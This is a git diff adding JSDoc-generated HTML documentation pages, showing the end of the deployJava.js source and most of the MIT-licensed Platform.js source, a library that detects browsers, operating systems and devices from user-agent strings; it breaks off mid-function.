+        writeEmbedTag: function() {
+            var written = false;
+            if (navigator.mimeTypes != null) {
+                for (var i=0; i < navigator.mimeTypes.length; i++) {
+                    if (navigator.mimeTypes[i].type == this.mimeType) {
+                        if (navigator.mimeTypes[i].enabledPlugin) {
+                            document.write('<' +
+                                'embed id="deployJavaPlugin" type="' +
+                                this.mimeType + '" hidden="true" />');
+                            written = true;
+                        }
+                    }
+                }
+                // if we ddn't find new mimeType, look for old mimeType
+                if (!written) for (var i=0; i < navigator.mimeTypes.length; i++) {
+                    if (navigator.mimeTypes[i].type == this.oldMimeType) {
+                        if (navigator.mimeTypes[i].enabledPlugin) {
+                            document.write('<' +
+                                'embed id="deployJavaPlugin" type="' +
+                                this.oldMimeType + '" hidden="true" />');
+                        }
+                    }
+                }
+            }
+        }
+    }; // deployJava object
+
+    rv.writePluginTag();
+    if (rv.locale == null) {
+        var loc = null;
+
+        if (loc == null) try {
+            loc = navigator.userLanguage;
+        } catch (err) { }
+
+        if (loc == null) try {
+            loc = navigator.systemLanguage;
+        } catch (err) { }
+
+        if (loc == null) try {
+            loc = navigator.language;
+        } catch (err) { }
+
+        if (loc != null) {
+            loc.replace("-","_")
+            rv.locale = loc;
+        }
+    }
+
+    return rv;
+}();
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/lib_platform.js.html b/docs/lib_platform.js.html new file mode 100644 index 000000000..2760a3daf --- /dev/null +++ b/docs/lib_platform.js.html @@ -0,0 +1,1269 @@ + + + + + JSDoc: Source: lib/platform.js + + + + + + + + + + +
+ +

Source: lib/platform.js

+ + + + + + +
+
+
/**
+ * Platform.js
+ * Copyright 2014-2018 Benjamin Tan
+ * Copyright 2011-2013 John-David Dalton
+ * Available under MIT license
+ * @namespace platform
+ */
+;(function() {
+  'use strict';
+
+  /** Used to determine if values are of the language type `Object`. */
+  var objectTypes = {
+    'function': true,
+    'object': true
+  };
+
+  /** Used as a reference to the global object. */
+  var root = (objectTypes[typeof window] && window) || this;
+
+  /** Backup possible global object. */
+  var oldRoot = root;
+
+  /** Detect free variable `exports`. */
+  var freeExports = objectTypes[typeof exports] && exports;
+
+  /** Detect free variable `module`. */
+  var freeModule = objectTypes[typeof module] && module && !module.nodeType && module;
+
+  /** Detect free variable `global` from Node.js or Browserified code and use it as `root`. */
+  var freeGlobal = freeExports && freeModule && typeof global == 'object' && global;
+  if (freeGlobal && (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal || freeGlobal.self === freeGlobal)) {
+    root = freeGlobal;
+  }
+
+  /**
+   * Used as the maximum length of an array-like object.
+   * See the [ES6 spec](http://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength)
+   * for more details.
+   */
+  var maxSafeInteger = Math.pow(2, 53) - 1;
+
+  /** Regular expression to detect Opera. */
+  var reOpera = /\bOpera/;
+
+  /** Possible global object. */
+  var thisBinding = this;
+
+  /** Used for native method references. */
+  var objectProto = Object.prototype;
+
+  /** Used to check for own properties of an object. */
+  var hasOwnProperty = objectProto.hasOwnProperty;
+
+  /** Used to resolve the internal `[[Class]]` of values. */
+  var toString = objectProto.toString;
+
+  /*--------------------------------------------------------------------------*/
+
+  /**
+   * Capitalizes a string value.
+   *
+   * @private
+   * @param {string} string The string to capitalize.
+   * @returns {string} The capitalized string.
+   */
+  function capitalize(string) {
+    string = String(string);
+    return string.charAt(0).toUpperCase() + string.slice(1);
+  }
+
+  /**
+   * A utility function to clean up the OS name.
+   *
+   * @private
+   * @param {string} os The OS name to clean up.
+   * @param {string} [pattern] A `RegExp` pattern matching the OS name.
+   * @param {string} [label] A label for the OS.
+   */
+  function cleanupOS(os, pattern, label) {
+    // Platform tokens are defined at:
+    // http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx
+    // http://web.archive.org/web/20081122053950/http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx
+    var data = {
+      '10.0': '10',
+      '6.4':  '10 Technical Preview',
+      '6.3':  '8.1',
+      '6.2':  '8',
+      '6.1':  'Server 2008 R2 / 7',
+      '6.0':  'Server 2008 / Vista',
+      '5.2':  'Server 2003 / XP 64-bit',
+      '5.1':  'XP',
+      '5.01': '2000 SP1',
+      '5.0':  '2000',
+      '4.0':  'NT',
+      '4.90': 'ME'
+    };
+    // Detect Windows version from platform tokens.
+    if (pattern && label && /^Win/i.test(os) && !/^Windows Phone /i.test(os) &&
+        (data = data[/[\d.]+$/.exec(os)])) {
+      os = 'Windows ' + data;
+    }
+    // Correct character case and cleanup string.
+    os = String(os);
+
+    if (pattern && label) {
+      os = os.replace(RegExp(pattern, 'i'), label);
+    }
+
+    os = format(
+      os.replace(/ ce$/i, ' CE')
+        .replace(/\bhpw/i, 'web')
+        .replace(/\bMacintosh\b/, 'Mac OS')
+        .replace(/_PowerPC\b/i, ' OS')
+        .replace(/\b(OS X) [^ \d]+/i, '$1')
+        .replace(/\bMac (OS X)\b/, '$1')
+        .replace(/\/(\d)/, ' $1')
+        .replace(/_/g, '.')
+        .replace(/(?: BePC|[ .]*fc[ \d.]+)$/i, '')
+        .replace(/\bx86\.64\b/gi, 'x86_64')
+        .replace(/\b(Windows Phone) OS\b/, '$1')
+        .replace(/\b(Chrome OS \w+) [\d.]+\b/, '$1')
+        .split(' on ')[0]
+    );
+
+    return os;
+  }
+
+  /**
+   * An iteration utility for arrays and objects.
+   *
+   * @private
+   * @param {Array|Object} object The object to iterate over.
+   * @param {Function} callback The function called per iteration.
+   */
+  function each(object, callback) {
+    var index = -1,
+        length = object ? object.length : 0;
+
+    if (typeof length == 'number' && length > -1 && length <= maxSafeInteger) {
+      while (++index < length) {
+        callback(object[index], index, object);
+      }
+    } else {
+      forOwn(object, callback);
+    }
+  }
+
+  /**
+   * Trim and conditionally capitalize string values.
+   *
+   * @private
+   * @param {string} string The string to format.
+   * @returns {string} The formatted string.
+   */
+  function format(string) {
+    string = trim(string);
+    return /^(?:webOS|i(?:OS|P))/.test(string)
+      ? string
+      : capitalize(string);
+  }
+
+  /**
+   * Iterates over an object's own properties, executing the `callback` for each.
+   *
+   * @private
+   * @param {Object} object The object to iterate over.
+   * @param {Function} callback The function executed per own property.
+   */
+  function forOwn(object, callback) {
+    for (var key in object) {
+      if (hasOwnProperty.call(object, key)) {
+        callback(object[key], key, object);
+      }
+    }
+  }
+
+  /**
+   * Gets the internal `[[Class]]` of a value.
+   *
+   * @private
+   * @param {*} value The value.
+   * @returns {string} The `[[Class]]`.
+   */
+  function getClassOf(value) {
+    return value == null
+      ? capitalize(value)
+      : toString.call(value).slice(8, -1);
+  }
+
+  /**
+   * Host objects can return type values that are different from their actual
+   * data type. The objects we are concerned with usually return non-primitive
+   * types of "object", "function", or "unknown".
+   *
+   * @private
+   * @param {*} object The owner of the property.
+   * @param {string} property The property to check.
+   * @returns {boolean} Returns `true` if the property value is a non-primitive, else `false`.
+   */
+  function isHostType(object, property) {
+    var type = object != null ? typeof object[property] : 'number';
+    return !/^(?:boolean|number|string|undefined)$/.test(type) &&
+      (type == 'object' ? !!object[property] : true);
+  }
+
+  /**
+   * Prepares a string for use in a `RegExp` by making hyphens and spaces optional.
+   *
+   * @private
+   * @param {string} string The string to qualify.
+   * @returns {string} The qualified string.
+   */
+  function qualify(string) {
+    return String(string).replace(/([ -])(?!$)/g, '$1?');
+  }
+
+  /**
+   * A bare-bones `Array#reduce` like utility function.
+   *
+   * @private
+   * @param {Array} array The array to iterate over.
+   * @param {Function} callback The function called per iteration.
+   * @returns {*} The accumulated result.
+   */
+  function reduce(array, callback) {
+    var accumulator = null;
+    each(array, function(value, index) {
+      accumulator = callback(accumulator, value, index, array);
+    });
+    return accumulator;
+  }
+
+  /**
+   * Removes leading and trailing whitespace from a string.
+   *
+   * @private
+   * @param {string} string The string to trim.
+   * @returns {string} The trimmed string.
+   */
+  function trim(string) {
+    return String(string).replace(/^ +| +$/g, '');
+  }
+
+  /*--------------------------------------------------------------------------*/
+
+  /**
+   * Creates a new platform object.
+   *
+   * @memberOf platform
+   * @param {Object|string} [ua=navigator.userAgent] The user agent string or
+   *  context object.
+   * @returns {Object} A platform object.
+   */
+  function parse(ua) {
+
+    /** The environment context object. */
+    var context = root;
+
+    /** Used to flag when a custom context is provided. */
+    var isCustomContext = ua && typeof ua == 'object' && getClassOf(ua) != 'String';
+
+    // Juggle arguments.
+    if (isCustomContext) {
+      context = ua;
+      ua = null;
+    }
+
+    /** Browser navigator object. */
+    var nav = context.navigator || {};
+
+    /** Browser user agent string. */
+    var userAgent = nav.userAgent || '';
+
+    ua || (ua = userAgent);
+
+    /** Used to flag when `thisBinding` is the [ModuleScope]. */
+    var isModuleScope = isCustomContext || thisBinding == oldRoot;
+
+    /** Used to detect if browser is like Chrome. */
+    var likeChrome = isCustomContext
+      ? !!nav.likeChrome
+      : /\bChrome\b/.test(ua) && !/internal|\n/i.test(toString.toString());
+
+    /** Internal `[[Class]]` value shortcuts. */
+    var objectClass = 'Object',
+        airRuntimeClass = isCustomContext ? objectClass : 'ScriptBridgingProxyObject',
+        enviroClass = isCustomContext ? objectClass : 'Environment',
+        javaClass = (isCustomContext && context.java) ? 'JavaPackage' : getClassOf(context.java),
+        phantomClass = isCustomContext ? objectClass : 'RuntimeObject';
+
+    /** Detect Java environments. */
+    var java = /\bJava/.test(javaClass) && context.java;
+
+    /** Detect Rhino. */
+    var rhino = java && getClassOf(context.environment) == enviroClass;
+
+    /** A character to represent alpha. */
+    var alpha = java ? 'a' : '\u03b1';
+
+    /** A character to represent beta. */
+    var beta = java ? 'b' : '\u03b2';
+
+    /** Browser document object. */
+    var doc = context.document || {};
+
+    /**
+     * Detect Opera browser (Presto-based).
+     * http://www.howtocreate.co.uk/operaStuff/operaObject.html
+     * http://dev.opera.com/articles/view/opera-mini-web-content-authoring-guidelines/#operamini
+     */
+    var opera = context.operamini || context.opera;
+
+    /** Opera `[[Class]]`. */
+    var operaClass = reOpera.test(operaClass = (isCustomContext && opera) ? opera['[[Class]]'] : getClassOf(opera))
+      ? operaClass
+      : (opera = null);
+
+    /*------------------------------------------------------------------------*/
+
+    /** Temporary variable used over the script's lifetime. */
+    var data;
+
+    /** The CPU architecture. */
+    var arch = ua;
+
+    /** Platform description array. */
+    var description = [];
+
+    /** Platform alpha/beta indicator. */
+    var prerelease = null;
+
+    /** A flag to indicate that environment features should be used to resolve the platform. */
+    var useFeatures = ua == userAgent;
+
+    /** The browser/environment version. */
+    var version = useFeatures && opera && typeof opera.version == 'function' && opera.version();
+
+    /** A flag to indicate if the OS ends with "/ Version" */
+    var isSpecialCasedOS;
+
+    /* Detectable layout engines (order is important). */
+    var layout = getLayout([
+      { 'label': 'EdgeHTML', 'pattern': '(?:Edge|EdgA|EdgiOS)' },
+      'Trident',
+      { 'label': 'WebKit', 'pattern': 'AppleWebKit' },
+      'iCab',
+      'Presto',
+      'NetFront',
+      'Tasman',
+      'KHTML',
+      'Gecko'
+    ]);
+
+    /* Detectable browser names (order is important). */
+    var name = getName([
+      'Adobe AIR',
+      'Arora',
+      'Avant Browser',
+      'Breach',
+      'Camino',
+      'Electron',
+      'Epiphany',
+      'Fennec',
+      'Flock',
+      'Galeon',
+      'GreenBrowser',
+      'iCab',
+      'Iceweasel',
+      'K-Meleon',
+      'Konqueror',
+      'Lunascape',
+      'Maxthon',
+      { 'label': 'Microsoft Edge', 'pattern': '(?:Edge|EdgA|EdgiOS)' },
+      'Midori',
+      'Nook Browser',
+      'PaleMoon',
+      'PhantomJS',
+      'Raven',
+      'Rekonq',
+      'RockMelt',
+      { 'label': 'Samsung Internet', 'pattern': 'SamsungBrowser' },
+      'SeaMonkey',
+      { 'label': 'Silk', 'pattern': '(?:Cloud9|Silk-Accelerated)' },
+      'Sleipnir',
+      'SlimBrowser',
+      { 'label': 'SRWare Iron', 'pattern': 'Iron' },
+      'Sunrise',
+      'Swiftfox',
+      'Waterfox',
+      'WebPositive',
+      'Opera Mini',
+      { 'label': 'Opera Mini', 'pattern': 'OPiOS' },
+      'Opera',
+      { 'label': 'Opera', 'pattern': 'OPR' },
+      'Chrome',
+      { 'label': 'Chrome Mobile', 'pattern': '(?:CriOS|CrMo)' },
+      { 'label': 'Firefox', 'pattern': '(?:Firefox|Minefield)' },
+      { 'label': 'Firefox for iOS', 'pattern': 'FxiOS' },
+      { 'label': 'IE', 'pattern': 'IEMobile' },
+      { 'label': 'IE', 'pattern': 'MSIE' },
+      'Safari'
+    ]);
+
+    /* Detectable products (order is important). */
+    var product = getProduct([
+      { 'label': 'BlackBerry', 'pattern': 'BB10' },
+      'BlackBerry',
+      { 'label': 'Galaxy S', 'pattern': 'GT-I9000' },
+      { 'label': 'Galaxy S2', 'pattern': 'GT-I9100' },
+      { 'label': 'Galaxy S3', 'pattern': 'GT-I9300' },
+      { 'label': 'Galaxy S4', 'pattern': 'GT-I9500' },
+      { 'label': 'Galaxy S5', 'pattern': 'SM-G900' },
+      { 'label': 'Galaxy S6', 'pattern': 'SM-G920' },
+      { 'label': 'Galaxy S6 Edge', 'pattern': 'SM-G925' },
+      { 'label': 'Galaxy S7', 'pattern': 'SM-G930' },
+      { 'label': 'Galaxy S7 Edge', 'pattern': 'SM-G935' },
+      'Google TV',
+      'Lumia',
+      'iPad',
+      'iPod',
+      'iPhone',
+      'Kindle',
+      { 'label': 'Kindle Fire', 'pattern': '(?:Cloud9|Silk-Accelerated)' },
+      'Nexus',
+      'Nook',
+      'PlayBook',
+      'PlayStation Vita',
+      'PlayStation',
+      'TouchPad',
+      'Transformer',
+      { 'label': 'Wii U', 'pattern': 'WiiU' },
+      'Wii',
+      'Xbox One',
+      { 'label': 'Xbox 360', 'pattern': 'Xbox' },
+      'Xoom'
+    ]);
+
+    /* Detectable manufacturers. */
+    var manufacturer = getManufacturer({
+      'Apple': { 'iPad': 1, 'iPhone': 1, 'iPod': 1 },
+      'Archos': {},
+      'Amazon': { 'Kindle': 1, 'Kindle Fire': 1 },
+      'Asus': { 'Transformer': 1 },
+      'Barnes & Noble': { 'Nook': 1 },
+      'BlackBerry': { 'PlayBook': 1 },
+      'Google': { 'Google TV': 1, 'Nexus': 1 },
+      'HP': { 'TouchPad': 1 },
+      'HTC': {},
+      'LG': {},
+      'Microsoft': { 'Xbox': 1, 'Xbox One': 1 },
+      'Motorola': { 'Xoom': 1 },
+      'Nintendo': { 'Wii U': 1,  'Wii': 1 },
+      'Nokia': { 'Lumia': 1 },
+      'Samsung': { 'Galaxy S': 1, 'Galaxy S2': 1, 'Galaxy S3': 1, 'Galaxy S4': 1 },
+      'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 }
+    });
+
+    /* Detectable operating systems (order is important). */
+    var os = getOS([
+      'Windows Phone',
+      'Android',
+      'CentOS',
+      { 'label': 'Chrome OS', 'pattern': 'CrOS' },
+      'Debian',
+      'Fedora',
+      'FreeBSD',
+      'Gentoo',
+      'Haiku',
+      'Kubuntu',
+      'Linux Mint',
+      'OpenBSD',
+      'Red Hat',
+      'SuSE',
+      'Ubuntu',
+      'Xubuntu',
+      'Cygwin',
+      'Symbian OS',
+      'hpwOS',
+      'webOS ',
+      'webOS',
+      'Tablet OS',
+      'Tizen',
+      'Linux',
+      'Mac OS X',
+      'Macintosh',
+      'Mac',
+      'Windows 98;',
+      'Windows '
+    ]);
+
+    /*------------------------------------------------------------------------*/
+
+    /**
+     * Picks the layout engine from an array of guesses.
+     *
+     * @private
+     * @param {Array} guesses An array of guesses.
+     * @returns {null|string} The detected layout engine.
+     */
+    function getLayout(guesses) {
+      return reduce(guesses, function(result, guess) {
+        return result || RegExp('\\b' + (
+          guess.pattern || qualify(guess)
+        ) + '\\b', 'i').exec(ua) && (guess.label || guess);
+      });
+    }
+
+    /**
+     * Picks the manufacturer from an array of guesses.
+     *
+     * @private
+     * @param {Array} guesses An object of guesses.
+     * @returns {null|string} The detected manufacturer.
+     */
+    function getManufacturer(guesses) {
+      return reduce(guesses, function(result, value, key) {
+        // Lookup the manufacturer by product or scan the UA for the manufacturer.
+        return result || (
+          value[product] ||
+          value[/^[a-z]+(?: +[a-z]+\b)*/i.exec(product)] ||
+          RegExp('\\b' + qualify(key) + '(?:\\b|\\w*\\d)', 'i').exec(ua)
+        ) && key;
+      });
+    }
+
+    /**
+     * Picks the browser name from an array of guesses.
+     *
+     * @private
+     * @param {Array} guesses An array of guesses.
+     * @returns {null|string} The detected browser name.
+     */
+    function getName(guesses) {
+      return reduce(guesses, function(result, guess) {
+        return result || RegExp('\\b' + (
+          guess.pattern || qualify(guess)
+        ) + '\\b', 'i').exec(ua) && (guess.label || guess);
+      });
+    }
+
+    /**
+     * Picks the OS name from an array of guesses.
+     *
+     * @private
+     * @param {Array} guesses An array of guesses.
+     * @returns {null|string} The detected OS name.
+     */
+    function getOS(guesses) {
+      return reduce(guesses, function(result, guess) {
+        var pattern = guess.pattern || qualify(guess);
+        if (!result && (result =
+              RegExp('\\b' + pattern + '(?:/[\\d.]+|[ \\w.]*)', 'i').exec(ua)
+            )) {
+          result = cleanupOS(result, pattern, guess.label || guess);
+        }
+        return result;
+      });
+    }
+
+    /**
+     * Picks the product name from an array of guesses.
+     *
+     * @private
+     * @param {Array} guesses An array of guesses.
+     * @returns {null|string} The detected product name.
+     */
+    function getProduct(guesses) {
+      return reduce(guesses, function(result, guess) {
+        var pattern = guess.pattern || qualify(guess);
+        if (!result && (result =
+              RegExp('\\b' + pattern + ' *\\d+[.\\w_]*', 'i').exec(ua) ||
+              RegExp('\\b' + pattern + ' *\\w+-[\\w]*', 'i').exec(ua) ||
+              RegExp('\\b' + pattern + '(?:; *(?:[a-z]+[_-])?[a-z]+\\d+|[^ ();-]*)', 'i').exec(ua)
+            )) {
+          // Split by forward slash and append product version if needed.
+          if ((result = String((guess.label && !RegExp(pattern, 'i').test(guess.label)) ? guess.label : result).split('/'))[1] && !/[\d.]+/.test(result[0])) {
+            result[0] += ' ' + result[1];
+          }
+          // Correct character case and cleanup string.
+          guess = guess.label || guess;
+          result = format(result[0]
+            .replace(RegExp(pattern, 'i'), guess)
+            .replace(RegExp('; *(?:' + guess + '[_-])?', 'i'), ' ')
+            .replace(RegExp('(' + guess + ')[-_.]?(\\w)', 'i'), '$1 $2'));
+        }
+        return result;
+      });
+    }
+
+    /**
+     * Resolves the version using an array of UA patterns.
+     *
+     * @private
+     * @param {Array} patterns An array of UA patterns.
+     * @returns {null|string} The detected version.
+     */
+    function getVersion(patterns) {
+      return reduce(patterns, function(result, pattern) {
+        return result || (RegExp(pattern +
+          '(?:-[\\d.]+/|(?: for [\\w-]+)?[ /-])([\\d.]+[^ ();/_-]*)', 'i').exec(ua) || 0)[1] || null;
+      });
+    }
+
+    /**
+     * Returns `platform.description` when the platform object is coerced to a string.
+     *
+     * @name toString
+     * @memberOf platform
+     * @returns {string} Returns `platform.description` if available, else an empty string.
+     */
+    function toStringPlatform() {
+      return this.description || '';
+    }
+
+    /*------------------------------------------------------------------------*/
+
+    // Convert layout to an array so we can add extra details.
+    layout && (layout = [layout]);
+
+    // Detect product names that contain their manufacturer's name.
+    if (manufacturer && !product) {
+      product = getProduct([manufacturer]);
+    }
+    // Clean up Google TV.
+    if ((data = /\bGoogle TV\b/.exec(product))) {
+      product = data[0];
+    }
+    // Detect simulators.
+    if (/\bSimulator\b/i.test(ua)) {
+      product = (product ? product + ' ' : '') + 'Simulator';
+    }
+    // Detect Opera Mini 8+ running in Turbo/Uncompressed mode on iOS.
+    if (name == 'Opera Mini' && /\bOPiOS\b/.test(ua)) {
+      description.push('running in Turbo/Uncompressed mode');
+    }
+    // Detect IE Mobile 11.
+    if (name == 'IE' && /\blike iPhone OS\b/.test(ua)) {
+      data = parse(ua.replace(/like iPhone OS/, ''));
+      manufacturer = data.manufacturer;
+      product = data.product;
+    }
+    // Detect iOS.
+    else if (/^iP/.test(product)) {
+      name || (name = 'Safari');
+      os = 'iOS' + ((data = / OS ([\d_]+)/i.exec(ua))
+        ? ' ' + data[1].replace(/_/g, '.')
+        : '');
+    }
+    // Detect Kubuntu.
+    else if (name == 'Konqueror' && !/buntu/i.test(os)) {
+      os = 'Kubuntu';
+    }
+    // Detect Android browsers.
+    else if ((manufacturer && manufacturer != 'Google' &&
+        ((/Chrome/.test(name) && !/\bMobile Safari\b/i.test(ua)) || /\bVita\b/.test(product))) ||
+        (/\bAndroid\b/.test(os) && /^Chrome/.test(name) && /\bVersion\//i.test(ua))) {
+      name = 'Android Browser';
+      os = /\bAndroid\b/.test(os) ? os : 'Android';
+    }
+    // Detect Silk desktop/accelerated modes.
+    else if (name == 'Silk') {
+      if (!/\bMobi/i.test(ua)) {
+        os = 'Android';
+        description.unshift('desktop mode');
+      }
+      if (/Accelerated *= *true/i.test(ua)) {
+        description.unshift('accelerated');
+      }
+    }
+    // Detect PaleMoon identifying as Firefox.
+    else if (name == 'PaleMoon' && (data = /\bFirefox\/([\d.]+)\b/.exec(ua))) {
+      description.push('identifying as Firefox ' + data[1]);
+    }
+    // Detect Firefox OS and products running Firefox.
+    else if (name == 'Firefox' && (data = /\b(Mobile|Tablet|TV)\b/i.exec(ua))) {
+      os || (os = 'Firefox OS');
+      product || (product = data[1]);
+    }
+    // Detect false positives for Firefox/Safari.
+    else if (!name || (data = !/\bMinefield\b/i.test(ua) && /\b(?:Firefox|Safari)\b/.exec(name))) {
+      // Escape the `/` for Firefox 1.
+      if (name && !product && /[\/,]|^[^(]+?\)/.test(ua.slice(ua.indexOf(data + '/') + 8))) {
+        // Clear name of false positives.
+        name = null;
+      }
+      // Reassign a generic name.
+      if ((data = product || manufacturer || os) &&
+          (product || manufacturer || /\b(?:Android|Symbian OS|Tablet OS|webOS)\b/.test(os))) {
+        name = /[a-z]+(?: Hat)?/i.exec(/\bAndroid\b/.test(os) ? os : data) + ' Browser';
+      }
+    }
+    // Add Chrome version to description for Electron.
+    else if (name == 'Electron' && (data = (/\bChrome\/([\d.]+)\b/.exec(ua) || 0)[1])) {
+      description.push('Chromium ' + data);
+    }
+    // Detect non-Opera (Presto-based) versions (order is important).
+    if (!version) {
+      version = getVersion([
+        '(?:Cloud9|CriOS|CrMo|Edge|EdgA|EdgiOS|FxiOS|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$))',
+        'Version',
+        qualify(name),
+        '(?:Firefox|Minefield|NetFront)'
+      ]);
+    }
+    // Detect stubborn layout engines.
+    if ((data =
+          layout == 'iCab' && parseFloat(version) > 3 && 'WebKit' ||
+          /\bOpera\b/.test(name) && (/\bOPR\b/.test(ua) ? 'Blink' : 'Presto') ||
+          /\b(?:Midori|Nook|Safari)\b/i.test(ua) && !/^(?:Trident|EdgeHTML)$/.test(layout) && 'WebKit' ||
+          !layout && /\bMSIE\b/i.test(ua) && (os == 'Mac OS' ? 'Tasman' : 'Trident') ||
+          layout == 'WebKit' && /\bPlayStation\b(?! Vita\b)/i.test(name) && 'NetFront'
+        )) {
+      layout = [data];
+    }
+    // Detect Windows Phone 7 desktop mode.
+    if (name == 'IE' && (data = (/; *(?:XBLWP|ZuneWP)(\d+)/i.exec(ua) || 0)[1])) {
+      name += ' Mobile';
+      os = 'Windows Phone ' + (/\+$/.test(data) ? data : data + '.x');
+      description.unshift('desktop mode');
+    }
+    // Detect Windows Phone 8.x desktop mode.
+    else if (/\bWPDesktop\b/i.test(ua)) {
+      name = 'IE Mobile';
+      os = 'Windows Phone 8.x';
+      description.unshift('desktop mode');
+      version || (version = (/\brv:([\d.]+)/.exec(ua) || 0)[1]);
+    }
+    // Detect IE 11 identifying as other browsers.
+    else if (name != 'IE' && layout == 'Trident' && (data = /\brv:([\d.]+)/.exec(ua))) {
+      if (name) {
+        description.push('identifying as ' + name + (version ? ' ' + version : ''));
+      }
+      name = 'IE';
+      version = data[1];
+    }
+    // Leverage environment features.
+    if (useFeatures) {
+      // Detect server-side environments.
+      // Rhino has a global function while others have a global object.
+      if (isHostType(context, 'global')) {
+        if (java) {
+          data = java.lang.System;
+          arch = data.getProperty('os.arch');
+          os = os || data.getProperty('os.name') + ' ' + data.getProperty('os.version');
+        }
+        if (rhino) {
+          try {
+            version = context.require('ringo/engine').version.join('.');
+            name = 'RingoJS';
+          } catch(e) {
+            if ((data = context.system) && data.global.system == context.system) {
+              name = 'Narwhal';
+              os || (os = data[0].os || null);
+            }
+          }
+          if (!name) {
+            name = 'Rhino';
+          }
+        }
+        else if (
+          typeof context.process == 'object' && !context.process.browser &&
+          (data = context.process)
+        ) {
+          if (typeof data.versions == 'object') {
+            if (typeof data.versions.electron == 'string') {
+              description.push('Node ' + data.versions.node);
+              name = 'Electron';
+              version = data.versions.electron;
+            } else if (typeof data.versions.nw == 'string') {
+              description.push('Chromium ' + version, 'Node ' + data.versions.node);
+              name = 'NW.js';
+              version = data.versions.nw;
+            }
+          }
+          if (!name) {
+            name = 'Node.js';
+            arch = data.arch;
+            os = data.platform;
+            version = /[\d.]+/.exec(data.version);
+            version = version ? version[0] : null;
+          }
+        }
+      }
+      // Detect Adobe AIR.
+      else if (getClassOf((data = context.runtime)) == airRuntimeClass) {
+        name = 'Adobe AIR';
+        os = data.flash.system.Capabilities.os;
+      }
+      // Detect PhantomJS.
+      else if (getClassOf((data = context.phantom)) == phantomClass) {
+        name = 'PhantomJS';
+        version = (data = data.version || null) && (data.major + '.' + data.minor + '.' + data.patch);
+      }
+      // Detect IE compatibility modes.
+      else if (typeof doc.documentMode == 'number' && (data = /\bTrident\/(\d+)/i.exec(ua))) {
+        // We're in compatibility mode when the Trident version + 4 doesn't
+        // equal the document mode.
+        version = [version, doc.documentMode];
+        if ((data = +data[1] + 4) != version[1]) {
+          description.push('IE ' + version[1] + ' mode');
+          layout && (layout[1] = '');
+          version[1] = data;
+        }
+        version = name == 'IE' ? String(version[1].toFixed(1)) : version[0];
+      }
+      // Detect IE 11 masking as other browsers.
+      else if (typeof doc.documentMode == 'number' && /^(?:Chrome|Firefox)\b/.test(name)) {
+        description.push('masking as ' + name + ' ' + version);
+        name = 'IE';
+        version = '11.0';
+        layout = ['Trident'];
+        os = 'Windows';
+      }
+      os = os && format(os);
+    }
+    // Detect prerelease phases.
+    if (version && (data =
+          /(?:[ab]|dp|pre|[ab]\d+pre)(?:\d+\+?)?$/i.exec(version) ||
+          /(?:alpha|beta)(?: ?\d)?/i.exec(ua + ';' + (useFeatures && nav.appMinorVersion)) ||
+          /\bMinefield\b/i.test(ua) && 'a'
+        )) {
+      prerelease = /b/i.test(data) ? 'beta' : 'alpha';
+      version = version.replace(RegExp(data + '\\+?$'), '') +
+        (prerelease == 'beta' ? beta : alpha) + (/\d+\+?/.exec(data) || '');
+    }
+    // Detect Firefox Mobile.
+    if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS)\b/.test(os)) {
+      name = 'Firefox Mobile';
+    }
+    // Obscure Maxthon's unreliable version.
+    else if (name == 'Maxthon' && version) {
+      version = version.replace(/\.[\d.]+/, '.x');
+    }
+    // Detect Xbox 360 and Xbox One.
+    else if (/\bXbox\b/i.test(product)) {
+      if (product == 'Xbox 360') {
+        os = null;
+      }
+      if (product == 'Xbox 360' && /\bIEMobile\b/.test(ua)) {
+        description.unshift('mobile mode');
+      }
+    }
+    // Add mobile postfix.
+    else if ((/^(?:Chrome|IE|Opera)$/.test(name) || name && !product && !/Browser|Mobi/.test(name)) &&
+        (os == 'Windows CE' || /Mobi/i.test(ua))) {
+      name += ' Mobile';
+    }
+    // Detect IE platform preview.
+    else if (name == 'IE' && useFeatures) {
+      try {
+        if (context.external === null) {
+          description.unshift('platform preview');
+        }
+      } catch(e) {
+        description.unshift('embedded');
+      }
+    }
+    // Detect BlackBerry OS version.
+    // http://docs.blackberry.com/en/developers/deliverables/18169/HTTP_headers_sent_by_BB_Browser_1234911_11.jsp
+    else if ((/\bBlackBerry\b/.test(product) || /\bBB10\b/.test(ua)) && (data =
+          (RegExp(product.replace(/ +/g, ' *') + '/([.\\d]+)', 'i').exec(ua) || 0)[1] ||
+          version
+        )) {
+      data = [data, /BB10/.test(ua)];
+      os = (data[1] ? (product = null, manufacturer = 'BlackBerry') : 'Device Software') + ' ' + data[0];
+      version = null;
+    }
+    // Detect Opera identifying/masking itself as another browser.
+    // http://www.opera.com/support/kb/view/843/
+    else if (this != forOwn && product != 'Wii' && (
+          (useFeatures && opera) ||
+          (/Opera/.test(name) && /\b(?:MSIE|Firefox)\b/i.test(ua)) ||
+          (name == 'Firefox' && /\bOS X (?:\d+\.){2,}/.test(os)) ||
+          (name == 'IE' && (
+            (os && !/^Win/.test(os) && version > 5.5) ||
+            /\bWindows XP\b/.test(os) && version > 8 ||
+            version == 8 && !/\bTrident\b/.test(ua)
+          ))
+        ) && !reOpera.test((data = parse.call(forOwn, ua.replace(reOpera, '') + ';'))) && data.name) {
+      // When "identifying", the UA contains both Opera and the other browser's name.
+      data = 'ing as ' + data.name + ((data = data.version) ? ' ' + data : '');
+      if (reOpera.test(name)) {
+        if (/\bIE\b/.test(data) && os == 'Mac OS') {
+          os = null;
+        }
+        data = 'identify' + data;
+      }
+      // When "masking", the UA contains only the other browser's name.
+      else {
+        data = 'mask' + data;
+        if (operaClass) {
+          name = format(operaClass.replace(/([a-z])([A-Z])/g, '$1 $2'));
+        } else {
+          name = 'Opera';
+        }
+        if (/\bIE\b/.test(data)) {
+          os = null;
+        }
+        if (!useFeatures) {
+          version = null;
+        }
+      }
+      layout = ['Presto'];
+      description.push(data);
+    }
+    // Detect WebKit Nightly and approximate Chrome/Safari versions.
+    if ((data = (/\bAppleWebKit\/([\d.]+\+?)/i.exec(ua) || 0)[1])) {
